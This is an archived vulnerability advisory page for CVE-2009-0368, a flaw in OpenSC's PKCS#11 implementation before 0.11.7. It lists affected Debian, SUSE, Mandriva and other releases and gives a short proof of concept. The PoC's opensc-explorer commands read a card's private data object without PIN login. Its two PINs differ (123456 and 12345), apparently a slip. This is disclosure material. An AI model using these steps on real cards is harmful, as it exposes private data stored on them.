OpenSC PKCS#11 Implementation Unauthorized Access Vulnerability

BID:33922

Info

OpenSC PKCS#11 Implementation Unauthorized Access Vulnerability

Bugtraq ID: 33922
Class: Design Error
CVE: CVE-2009-0368
Remote: No
Local: Yes
Published: Feb 26 2009 12:00AM
Updated: Apr 13 2015 08:16PM
Credit: Andreas Jellinghaus
Vulnerable: SuSE SUSE Linux Enterprise 11
SuSE SUSE Linux Enterprise 10
SuSE openSUSE 10.3
S.u.S.E. openSUSE 11.1
S.u.S.E. openSUSE 11.0
Pardus Linux 2008 0
OpenSC OpenSC 0.11.6
OpenSC OpenSC 0.11.5
OpenSC OpenSC 0.11.4
Mandriva Linux Mandrake 2009.0 x86_64
Mandriva Linux Mandrake 2009.0
Mandriva Linux Mandrake 2008.1 x86_64
Mandriva Linux Mandrake 2008.1
Mandriva Linux Mandrake 2008.0 x86_64
Mandriva Linux Mandrake 2008.0
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Not Vulnerable: OpenSC OpenSC 0.11.7

Discussion

OpenSC PKCS#11 Implementation Unauthorized Access Vulnerability

OpenSC is prone to an unauthorized-access vulnerability.

Attackers can exploit this issue to gain unauthorized access to private data, which may lead to other attacks.

Versions prior to OpenSC 0.11.7 are vulnerable.

Exploit / POC

OpenSC PKCS#11 Implementation Unauthorized Access Vulnerability

Attackers would need physical access to the smartcard reader.

The following proof of concept is available:

create a file with a secret:
echo "This is my secret data" > secret-file

To initialise a blank card:
pkcs15-init --create-pkcs15 --use-default-transport-keys --profile pkcs15+onepin --pin 123456 --puk 78907890

To write a private data object to the card:
pkcs11-tool --label "my secret" --type data --write-object secret-file
--private --login --pin 12345

To see all objects on the card:
pkcs15-tool --dump
This will list the data object, including the path it is stored, e.g.:
"Path: 3f0050154701"

To access such an object with low-level tools:

opensc-explorer
cd 5015
get 4701

Solution / Fix

OpenSC PKCS#11 Implementation Unauthorized Access Vulnerability

Solution:
Updates are available. Please see the references for details.


Debian Linux 5.0 ia-64

Debian Linux 5.0 alpha

Debian Linux 5.0 ia-32

Debian Linux 5.0 s/390

Debian Linux 5.0 mipsel

Debian Linux 5.0 arm

Debian Linux 5.0 armel

Debian Linux 5.0 amd64

Debian Linux 5.0 mips

Debian Linux 5.0 powerpc

OpenSC OpenSC 0.11.4

OpenSC OpenSC 0.11.5

OpenSC OpenSC 0.11.6

References

OpenSC PKCS#11 Implementation Unauthorized Access Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report